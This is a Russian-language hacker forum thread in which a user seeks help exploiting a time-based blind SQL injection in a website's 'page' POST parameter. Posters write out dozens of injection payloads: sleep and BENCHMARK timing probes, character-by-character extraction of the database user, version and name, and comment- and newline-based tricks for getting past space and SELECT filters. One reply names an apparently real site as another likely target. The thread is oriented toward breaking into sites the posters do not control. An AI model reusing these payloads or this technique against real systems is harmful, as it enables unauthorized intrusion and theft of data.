![]() |
Всем привет, нашел скулю, но очень она странная.
Ссылку прямую дать не могу Но может кто подскажет варианты, я хочу ее раскрутить: Итак детали : Есть некий сайт, скажем http://site.com Где по следующей ссылке акунетикс нашел скулю блинд скл инжекшн. http://site.com/misc/print_version.php Уязвимость касается POST параметра page was set to /rus/search.php'=sleep(2)=' Полные пост данные: name=blah&page=/rus/search.php'=sleep(2)=' SQLMAP ее не находит. Реакция сервера: 1) sleep(2) - засыпает на 20 секунд. Чтобы заснул на 1 секунду, приходится ставить sleep(0.1) - почему так непонятно 2) пробовал следующие варианты: Не засыпаетИли не засыпает на добавочный слип) page=blah'=sleep(0.2)=' page='=sleep(0.2)=' page=/rus/search.php'=sleep(0.1)= ' page=/rus/search.php'=sleep(0.1)='" AND (BENCHMARK(100000,SHA1(CURRENT_USER))) page=/rus/search.php'=sleep(0.1)='" UNION SELECT (BENCHMARK(100000,SHA1(CURRENT_USER))) -- page=/rus/search.php'=(BENCHMARK(100000,SHA1(CURRENT_USER))) =1" page=/rus/search.php'= (BENCHMARK(100000,SHA1(CURRENT_USER)))=' page=/rus/search.php='=SLEEP(0.1)+(BENCHMARK(100000,SHA1(CUR RENT_USER)))=' page=/rus/search.php'=sleep(0.1)=' AND WHERE (BENCHMARK(100000,SHA1(CURRENT_USER)))=1 page=/rus/search.php'=(IF((IFNULL(ASCII(SUBSTRING((SELECT @@version),1,1)),0) |
jkchief а вы уверены, что это слепая инъекция? Скорее похоже, что вы не понимаете что творится с запросом и там возможно получить вывод. Ну и фильтруются пробелы.
Попробуйте замены пробелов вначале, а именно запросы вида: Код:
page=/rus/search.php'/**/and/**/1=1/**/''=' |
/thread46016.html - сюда сначала и написал. Не знаю почему, но потом не нашел своего поста.
Может из-за того, что пост большой. По уязвимости: Сервер точно не выдает никаких ошибок. Вывод ошибок SQL сервера заблокирован. page=/rus/search.php'/**/and/**/1=1/**/''=' page=/rus/search.php'/**/and/**/0=1/**/''=' page=/rus/search.php'%0aand%0a1=1%0a''=' page=/rus/search.php'%0aand%0a0=1%0a''=' Разве что нашел связанную с этим XSS, - на странице выводится в форме поиска скрытое поле, где вставлен value - текст запроса. Никаких признаков жизни от MySQL сервера. Все варинанты не дейсвуют. Я уже прогонял уязвимость и SQLMAP и хавиджем, добавлял суффиксы и префиксы какие смог придумать. Ничего не находят. Акунетикс ее хоть и нашел, но вот его модуль Blind SQL injector не находит. Однозначно это только слепая инжекшн. И я однозначно не понимаю что творится с запросом и как он выглядит хотя-бы приблизительно. |
jkchief откройте еще для себя параметр tamper в sqlmap. Проблема в пробелах а не суффиксах. И я имел ввиду нормальный вывод, а не вывод в ошибке.
|
Нормального вывода нет совсем. Это точно.
Остается засыпание. За наводку на тампер спасибо, если до конца смогу раскрутить скулю, тогда попробую, а пока еще не могу полноценный запрос получить. Немного доработал скулю и получил следующее: name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(USER(),4,1))='116' ,1,sleep(0.1)))=' Таким образом узнал пользователя, версию бд, название бд. Но дальше пойти не могу.....нужно же вместо USER() вставлять полноценный запрос селект: Вот что пробовал: Нашел в инете примеры обхода пробелов, типа: select(null),mid(group_concat(table_name),600,100) ,(null)from(information_schema.tables) select(null),table_name,(null)from(information_sch ema.tables)limit 28 select(null),group_concat(column_name),(null)from( information_schema.columns)where(table_name)=(0x75 73657273) (вставленно заранее ложный кондишен и если запрос составлен правильно, то должен засыпать на секунду.) Не засыпает: name=blah&page=/rus/search.php'=(IF(ASCII(SELECT SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))=' name=blah&page=/rus/search.php'=(IF(ASCII(SELECT(null)SUBSTRING(USER() ,4,1))='WTF',1,sleep(0.1)))=' name=blah&page=/rus/search.php'=(IF(ASCII(SELECT(null),SUBSTRING(USER( ),4,1))='WTF',1,sleep(0.1)))=' name=blah&page=/rus/search.php'=(IF(ASCII(SELECT(0),SUBSTRING(USER(),4 ,1))='WTF',1,sleep(0.1)))=' name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(select(0),group_co ncat(table_name),(0)from(information_schema.tables ),4,1))='WTF',1,sleep(0.1)))=' name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(SeLeCt(0),gRoup_Co nCat(table_name),(0)fRom(information_schema.tables ),4,1))='WTF',1,sleep(0.1)))=' name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables/*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()),4,1))='WTF',1,sleep(0.1)))=' name=blah&page=/rus/search.php'=(IF(ASCII(SELECT/*foo*/SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))=' Вроде как фильруется селект Засыпает: name=blah&page=/rus/search.php'=(IF(ASCII(/*Sfoo*/SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))=' name=blah&page=/rus/search.php'=(IF(ASCII(SUBS/*Sfoo*/TRING(USER(),4,1))='WTF',1,sleep(0.1)))=' |
Помимо такого обхода пробела можно еще попытаться использовать
Код:
%0aТакже, проверить на фильтрацию чего либо (в данном случае - конструкции select или union select) можно, внедрив в заблаговременно успешный запрос конструкции вида Код:
/*select*/Код:
/*union select*/И еще, можно попытаться подобрать другие параметры, влияющие на вывод. Например, поискав сайты со схожими конструкциями ссылок... Как вариант - Код:
http://rollholl.ru/misc/print_version.phpКод:
page=/rus/search.php?mode=&change=&cat=10&brand=0 |
| Время: 18:54 |